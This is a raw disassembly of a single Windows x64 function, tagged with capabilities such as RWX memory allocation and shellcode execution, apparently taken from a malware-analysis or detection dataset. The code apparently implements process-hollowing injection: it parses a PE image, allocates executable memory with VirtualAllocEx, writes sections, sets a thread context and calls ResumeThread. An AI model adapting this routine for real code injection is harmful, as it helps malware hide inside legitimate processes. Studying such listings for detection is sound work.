Function at 0x1401bac80
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Parse pe header
Resolve function by parsing pe exports
Resume thread

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rdi
push rsi
push rbx
sub rsp, 0xc8
lea rbp, [rsp + 0x100]
xor eax, eax
mov qword [rbp - 0x60], rax
mov rsi, rcx
mov rdi, qword [rsi + 0x10]
mov rbx, rdi
cmp word [rbx], 0x5a4d
jne 0x1401bacc7
mov eax, dword [rbx + 0x3c]
cdqe
xor r14d, r14d
cmp word [rdi + rax + 0x18], 0x20b
sete r14b
jmp 0x1401bacca
xor r14d, r14d
call fcn.140001698
mov r15, rax
mov qword [rbp - 0x70], r15
mov byte [r15], r14b
xor r14d, r14d
xor r12d, r12d
movzx eax, byte [r15]
mov edx, eax
test edx, edx
je 0x1401bacf4
mov edx, dword [rbx + 0x3c]
movsxd r12, edx
add r12, rdi
jmp 0x1401bacfd
mov edx, dword [rbx + 0x3c]
movsxd r14, edx
add r14, rdi
test eax, eax
jne 0x1401bad06
mov eax, dword [r14]
jmp 0x1401bad0a
mov eax, dword [r12]
cmp eax, 0x4550
jne 0x1401bb7d3
call fcn.1401bac30
test eax, eax
jne 0x1401bad25
mov ecx, 0x40
jmp 0x1401bad2a
mov ecx, 0x60
call fcn.1401bb920
mov rdi, rax
call fcn.1401bac30
test eax, eax
jne 0x1401bad42
mov ecx, 0x10
jmp 0x1401bad47
mov ecx, 0x18
movsxd rcx, ecx
call fcn.1401393c0
mov rbx, rax
mov qword [rbp - 0x40], rbx
xor ecx, ecx
mov dword [rsp + 0x20], ecx
mov dword [rsp + 0x28], 4
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x38], rcx
mov qword [rsp + 0x40], rdi
mov qword [rsp + 0x48], rbx
mov qword [rbp + 0x10], rsi
mov rcx, qword [rsi + 8]
lea rdx, [0x1405b9008]
xor r8d, r8d
xor r9d, r9d
call fcn.1401bb980
test eax, eax
je 0x1401bb110
test rdi, 0xffffffffffff0000
je 0x1401badcb
mov rcx, rdi
mov qword [rbp - 0x80], rcx
lea rcx, [rbp - 0xb0]
call fcn.140005980
mov rcx, qword [rbp - 0x80]
call sub.KERNEL32.dll_LocalFree
lea rcx, [rbp - 0xb0]
call fcn.1400059d0
mov r15, qword [rbp - 0x70]
cmp byte [r15], 0
jne 0x1401bb700
mov ecx, dword [r14 + 0x34]
mov edi, ecx
mov rcx, rbx
mov rdx, rdi
call fcn.1401bbdb0
mov r13, qword [rbx]
mov qword [rbp - 0x68], rbx
call fcn.1401bac30
test eax, eax
jne 0x1401bb70a
mov rcx, qword [rbp - 0x68]
mov edx, 4
movsxd rdx, edx
mov rax, qword [rcx + rdx]
mov qword [rbp - 0x48], rax
test r13, r13
je 0x1401bb642
xor ecx, ecx
test rax, rax
sete cl
test cl, cl
jne 0x1401bb642
movzx ecx, byte [r15]
test ecx, ecx
jne 0x1401bb718
mov r8d, dword [r14 + 0x50]
test ecx, ecx
jne 0x1401bb722
mov r10d, dword [r14 + 0x54]
mov dword [rbp - 0x4c], r10d
test ecx, ecx
jne 0x1401bb72c
movzx edx, word [r14 + 6]
movzx r11d, dx
mov dword [rbp - 0x50], r11d
test ecx, ecx
jne 0x1401bb737
mov r9d, dword [r14 + 0x28]
mov dword [rbp - 0x54], r9d
mov dword [rsp + 0x20], 0x40
mov rcx, r13
mov qword [rbp - 0x80], rcx
mov rdx, rdi
mov qword [rbp - 0x88], rdx
mov dword [rbp - 0x74], r8d
mov r9d, 0x3000
mov dword [rbp - 0x78], r9d
lea rcx, [rbp - 0xb0]
call fcn.140005980
mov rcx, qword [rbp - 0x80]
mov rdx, qword [rbp - 0x88]
mov r8d, dword [rbp - 0x74]
mov r9d, dword [rbp - 0x78]
call sub.KERNEL32.dll_VirtualAllocEx
mov rsi, rax
lea rcx, [rbp - 0xb0]
call fcn.1400059d0
lea r8, [rbp - 0x60]
mov qword [rsp + 0x20], r8
mov rdi, qword [rbp + 0x10]
mov r8, qword [rdi + 0x10]
mov rcx, r13
mov rdx, rsi
mov r9d, dword [rbp - 0x4c]
call fcn.1401bbc70
test eax, eax
je 0x1401bb584
mov r15, qword [rbp - 0x70]
cmp byte [r15], 0
jne 0x1401bb741
add r14, 0xf8
xor r12d, r12d
cmp dword [rbp - 0x50], 0
jle 0x1401baf51
lea r8, [rbp - 0x60]
mov qword [rsp + 0x20], r8
mov r8, qword [rdi + 0x10]
mov edx, dword [r14 + 0x14]
add r8, rdx
mov edx, dword [r14 + 0xc]
add rdx, rsi
mov r9d, dword [r14 + 0x10]
mov rcx, r13
call fcn.1401bbc70
test eax, eax
je 0x1401bb4c6
add r14, 0x28
inc r12d
mov ecx, dword [rbp - 0x50]
cmp r12d, ecx
mov dword [rbp - 0x50], ecx
jl 0x1401baf10
cmp byte [r15], 0
jne 0x1401bb74e
mov ecx, 0x2cc
movsxd rcx, ecx
call fcn.1401393c0
mov rdi, rax
movzx ecx, byte [r15]
test ecx, ecx
je 0x1401bb758
mov dword [rdi + 0x30], 0x10001b
cmp byte [r15], 0
jne 0x1401bb763
mov rcx, qword [rbp - 0x48]
mov rdx, rdi
call fcn.1401bbb10
test eax, eax
je 0x1401bb408
mov r14d, dword [rdi + 0xa4]
mov r12, qword [rdi + 0x88]
mov rcx, rsi
call fcn.14009d630
cmp byte [r15], 0
jne 0x1401bb77c
add r14d, 8
movsxd rdx, r14d
lea r9, [rbp - 0x60]
mov qword [rsp + 0x20], r9
mov r9d, dword [rax + 8]
mov rcx, r13
mov r8, rax
call fcn.1401bbd00
test eax, eax
je 0x1401bb28c
movzx ecx, byte [r15]
test ecx, ecx
je 0x1401bb786
mov r14d, dword [rbp - 0x54]
mov ecx, r14d
add rcx, rsi
mov qword [rdi + 0x80], rcx
cmp byte [r15], 0
jne 0x1401bb79c
mov rcx, qword [rbp - 0x48]
mov rdx, rdi
call fcn.1401bbbf0
test eax, eax
je 0x1401bb1ce
mov rcx, qword [rbp - 0x48]
mov qword [rbp - 0x88], rcx
lea rcx, [rbp - 0xb0]
call fcn.140005980
mov rcx, qword [rbp - 0x88]
call sub.KERNEL32.dll_ResumeThread
lea rcx, [rbp - 0xb0]
call fcn.1400059d0
jmp 0x1401bb7b5
lea rcx, [0x1405ccec0]
call fcn.1400a04a0
mov rsi, rax
lea rcx, [0x1404b89b0]
call fcn.140004d10
mov rdi, rax
mov rcx, rdi
call fcn.14007b500
mov rcx, rdi
mov edx, 2
call fcn.14007bf60
mov rcx, rdi
mov edx, 2
call fcn.14007bfc0
lea rcx, [0x1405bba58]
call fcn.1400a04a0
mov rdx, rax
mov rcx, rdi
call fcn.14007bde0
mov rcx, rdi
call fcn.14007b620
mov rdi, rax
call fcn.140001f22
mov r14, qword [rax + 8]
mov r9d, dword [rsi + 8]
mov rcx, rdi
mov rdx, rsi
lea r10, [0x1405e1810]
xor r8d, r8d
call qword [r10]
mov rdx, rax
mov rcx, r14
mov rax, qword [r14]
call qword [rax + 0xe8]
mov rsi, rax
lea rcx, [0x1404ba7d8]
call fcn.140004d10
mov rdi, rax
mov dword [rdi + 0x48], 0x80131500
lea rcx, [rdi + 8]
mov rdx, rsi
call fcn.140005020
mov rcx, rdi
call fcn.140005270
lea rcx, [0x1405db808]
call fcn.1400a04a0
mov rsi, rax
lea rcx, [0x1404b89b0]
call fcn.140004d10
mov rdi, rax
mov rcx, rdi
call fcn.14007b500
mov rcx, rdi
mov edx, 2
call fcn.14007bf60
mov rcx, rdi
mov edx, 2
call fcn.14007bfc0
lea rcx, [0x1405cef58]
call fcn.1400a04a0
mov rdx, rax
mov rcx, rdi
call fcn.14007bde0
mov rcx, rdi
call fcn.14007b620
mov rdi, rax
call fcn.140001f22
mov r14, qword [rax + 8]
mov r9d, dword [rsi + 8]
mov rcx, rdi
mov rdx, rsi
lea r10, [0x1405e1810]
xor r8d, r8d
call qword [r10]
mov rdx, rax
mov rcx, r14
mov rax, qword [r14]
call qword [rax + 0xe8]
mov rsi, rax
lea rcx, [0x1404ba7d8]
call fcn.140004d10
mov rdi, rax
mov dword [rdi + 0x48], 0x80131500
lea rcx, [rdi + 8]
mov rdx, rsi
call fcn.140005020
mov rcx, rdi
call fcn.140005270
lea rcx, [0x1405bb3e0]
call fcn.1400a04a0
mov rsi, rax
lea rcx, [0x1404b89b0]
call fcn.140004d10
mov rdi, rax
mov rcx, rdi
call fcn.14007b500
mov rcx, rdi
mov edx, 2
call fcn.14007bf60
mov rcx, rdi
mov edx, 2
call fcn.14007bfc0
lea rcx, [0x1405da1d8]
call fcn.1400a04a0
mov rdx, rax
mov rcx, rdi
call fcn.14007bde0
mov rcx, rdi
call fcn.14007b620
mov rdi, rax
call fcn.140001f22
mov r14, qword [rax + 8]
mov r9d, dword [rsi + 8]
mov rcx, rdi
mov rdx, rsi
lea r10, [0x1405e1810]
xor r8d, r8d
call qword [r10]
mov rdx, rax
mov rcx, r14
mov rax, qword [r14]
call qword [rax + 0xe8]
mov rsi, rax
lea rcx, [0x1404ba7d8]
call fcn.140004d10
mov rdi, rax
mov dword [rdi + 0x48], 0x80131500
lea rcx, [rdi + 8]
mov rdx, rsi
call fcn.140005020
mov rcx, rdi
call fcn.140005270
lea rcx, [0x1405d9dd8]
call fcn.1400a04a0
mov rsi, rax
lea rcx, [0x1404b89b0]
call fcn.140004d10
mov rdi, rax
mov rcx, rdi
call fcn.14007b500
mov rcx, rdi
mov edx, 2
call fcn.14007bf60
mov rcx, rdi
mov edx, 2
call fcn.14007bfc0
lea rcx, [0x1405cd670]
call fcn.1400a04a0
mov rdx, rax
mov rcx, rdi
call fcn.14007bde0
mov rcx, rdi
call fcn.14007b620
mov rdi, rax
call fcn.140001f22
mov r14, qword [rax + 8]
mov r9d, dword [rsi + 8]
mov rcx, rdi
mov rdx, rsi
lea r10, [0x1405e1810]
xor r8d, r8d
call qword [r10]
mov rdx, rax
mov rcx, r14
mov rax, qword [r14]
call qword [rax + 0xe8]
mov rsi, rax
lea rcx, [0x1404ba7d8]
call fcn.140004d10
mov rdi, rax
mov dword [rdi + 0x48], 0x80131500
lea rcx, [rdi + 8]
mov rdx, rsi
call fcn.140005020
mov rcx, rdi
call fcn.140005270
lea rcx, [0x1405c3ac8]
call fcn.1400a04a0
mov rsi, rax
lea rcx, [0x1404b89b0]
call fcn.140004d10
mov rdi, rax
mov rcx, rdi
call fcn.14007b500
mov rcx, rdi
mov edx, 2
call fcn.14007bf60
mov rcx, rdi
mov edx, 2
call fcn.14007bfc0
lea rcx, [0x1405c3bd0]
call fcn.1400a04a0
mov rdx, rax
mov rcx, rdi
call fcn.14007bde0
mov rcx, rdi
call fcn.14007b620
mov rdi, rax
call fcn.140001f22
mov r14, qword [rax + 8]
mov r9d, dword [rsi + 8]
mov rcx, rdi
mov rdx, rsi
lea r10, [0x1405e1810]
xor r8d, r8d
call qword [r10]
mov rdx, rax
mov rcx, r14
mov rax, qword [r14]
call qword [rax + 0xe8]
mov rsi, rax
lea rcx, [0x1404ba7d8]
call fcn.140004d10
mov rdi, rax
mov dword [rdi + 0x48], 0x80131500
lea rcx, [rdi + 8]
mov rdx, rsi
call fcn.140005020
mov rcx, rdi
call fcn.140005270
lea rcx, [0x1405cf2c0]
call fcn.1400a04a0
mov rsi, rax
lea rcx, [0x1404b89b0]
call fcn.140004d10
mov rdi, rax
mov rcx, rdi
call fcn.14007b500
mov rcx, rdi
mov edx, 2
call fcn.14007bf60
mov rcx, rdi
mov edx, 2
call fcn.14007bfc0
lea rcx, [0x1405d80f8]
call fcn.1400a04a0
mov rdx, rax
mov rcx, rdi
call fcn.14007bde0
mov rcx, rdi
call fcn.14007b620
mov rdi, rax
call fcn.140001f22
mov r14, qword [rax + 8]
mov r9d, dword [rsi + 8]
mov rcx, rdi
mov rdx, rsi
lea r10, [0x1405e1810]
xor r8d, r8d
call qword [r10]
mov rdx, rax
mov rcx, r14
mov rax, qword [r14]
call qword [rax + 0xe8]
mov rsi, rax
lea rcx, [0x1404ba7d8]
call fcn.140004d10
mov rdi, rax
mov dword [rdi + 0x48], 0x80131500
lea rcx, [rdi + 8]
mov rdx, rsi
call fcn.140005020
mov rcx, rdi
call fcn.140005270
lea rcx, [0x1405c5fa0]
call fcn.1400a04a0
mov rsi, rax
lea rcx, [0x1404b89b0]
call fcn.140004d10
mov rdi, rax
mov rcx, rdi
call fcn.14007b500
mov rcx, rdi
mov edx, 2
call fcn.14007bf60
mov rcx, rdi
mov edx, 2
call fcn.14007bfc0
lea rcx, [0x1405cc948]
call fcn.1400a04a0
mov rdx, rax
mov rcx, rdi
call fcn.14007bde0
mov rcx, rdi
call fcn.14007b620
mov rdi, rax
call fcn.140001f22
mov r14, qword [rax + 8]
mov r9d, dword [rsi + 8]
mov rcx, rdi
mov rdx, rsi
lea r10, [0x1405e1810]
xor r8d, r8d
call qword [r10]
mov rdx, rax
mov rcx, r14
mov rax, qword [r14]
call qword [rax + 0xe8]
mov rsi, rax
lea rcx, [0x1404ba7d8]
call fcn.140004d10
mov rdi, rax
mov dword [rdi + 0x48], 0x80131500
lea rcx, [rdi + 8]
mov rdx, rsi
call fcn.140005020
mov rcx, rdi
call fcn.140005270
lea rcx, [0x1405dbcb0]
call fcn.1400a04a0
mov rsi, rax
lea rcx, [0x1404b89b0]
call fcn.140004d10
mov rdi, rax
mov rcx, rdi
call fcn.14007b500
mov rcx, rdi
mov edx, 2
call fcn.14007bf60
mov rcx, rdi
mov edx, 2
call fcn.14007bfc0
lea rcx, [0x1405c63b0]
call fcn.1400a04a0
mov rdx, rax
mov rcx, rdi
call fcn.14007bde0
mov rcx, rdi
call fcn.14007b620
mov rdi, rax
call fcn.140001f22
mov r14, qword [rax + 8]
mov r9d, dword [rsi + 8]
mov rcx, rdi
mov rdx, rsi
lea r10, [0x1405e1810]
xor r8d, r8d
call qword [r10]
mov rdx, rax
mov rcx, r14
mov rax, qword [r14]
call qword [rax + 0xe8]
mov rsi, rax
lea rcx, [0x1404ba7d8]
call fcn.140004d10
mov rdi, rax
mov dword [rdi + 0x48], 0x80131500
lea rcx, [rdi + 8]
mov rdx, rsi
call fcn.140005020
mov rcx, rdi
call fcn.140005270
lea rcx, [0x1405d4468]
call fcn.1400a04a0
mov rsi, rax
lea rcx, [0x1404b89b0]
call fcn.140004d10
mov rdi, rax
mov rcx, rdi
call fcn.14007b500
mov rcx, rdi
mov edx, 2
call fcn.14007bf60
mov rcx, rdi
mov edx, 2
call fcn.14007bfc0
lea rcx, [0x1405cbd48]
call fcn.1400a04a0
mov rdx, rax
mov rcx, rdi
call fcn.14007bde0
mov rcx, rdi
call fcn.14007b620
mov rdi, rax
call fcn.140001f22
mov r14, qword [rax + 8]
mov r9d, dword [rsi + 8]
mov rcx, rdi
mov rdx, rsi
lea r10, [0x1405e1810]
xor r8d, r8d
call qword [r10]
mov rdx, rax
mov rcx, r14
mov rax, qword [r14]
call qword [rax + 0xe8]
mov rsi, rax
lea rcx, [0x1404ba7d8]
call fcn.140004d10
mov rdi, rax
mov dword [rdi + 0x48], 0x80131500
lea rcx, [rdi + 8]
mov rdx, rsi
call fcn.140005020
mov rcx, rdi
call fcn.140005270
mov rdi, qword [r12 + 0x30]
jmp 0x1401baddf
mov rcx, qword [rbp - 0x68]
mov edx, 8
jmp 0x1401bae07
mov r8d, dword [r12 + 0x50]
jmp 0x1401bae3b
mov r10d, dword [r12 + 0x54]
jmp 0x1401bae47
movzx edx, word [r12 + 6]
jmp 0x1401bae58
mov r9d, dword [r12 + 0x28]
jmp 0x1401bae6c
lea r14, [r12 + 0x108]
jmp 0x1401baf07
mov ecx, 0x4d0
jmp 0x1401baf60
mov dword [rdi], 0x10002
jmp 0x1401baf7e
mov rcx, qword [rbp - 0x48]
mov rdx, rdi
call fcn.1401bba80
test eax, eax
je 0x1401bb34a
jmp 0x1401baf9c
lea rdx, [r12 + 0x10]
jmp 0x1401bafc3
mov r14d, dword [rbp - 0x54]
mov ecx, r14d
add rcx, rsi
mov qword [rdi + 0xb0], rcx
jmp 0x1401bb000
mov rcx, qword [rbp - 0x48]
mov rdx, rdi
call fcn.1401bbb90
test eax, eax
je 0x1401bb052
jmp 0x1401bb01e
mov rcx, r13
call fcn.1401bc100
nop
nop
add rsp, 0xc8
pop rbx
pop rsi
pop rdi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
lea rcx, [0x1405bb908]
call fcn.1400a04a0
mov rbx, rax
lea rcx, [0x1404b89b0]
call fcn.140004d10
mov rsi, rax
mov rcx, rsi
call fcn.14007b500
mov rcx, rsi
mov edx, 2
call fcn.14007bf60
mov rcx, rsi
mov edx, 2
call fcn.14007bfc0
lea rcx, [0x1405db6f0]
call fcn.1400a04a0
mov rdx, rax
mov rcx, rsi
call fcn.14007bde0
mov rcx, rsi
call fcn.14007b620
mov rsi, rax
call fcn.140001f22
mov rdi, qword [rax + 8]
mov r9d, dword [rbx + 8]
mov rcx, rsi
mov rdx, rbx
lea r10, [0x1405e1810]
xor r8d, r8d
call qword [r10]
mov rdx, rax
mov rcx, rdi
mov rax, qword [rdi]
call qword [rax + 0xe8]
mov rsi, rax
lea rcx, [0x1404ba7d8]
call fcn.140004d10
mov rdi, rax
mov rcx, rdi
call fcn.140098040
lea rcx, [rdi + 8]
mov rdx, rsi
call fcn.140005020
mov rcx, rdi
call fcn.140005270
int3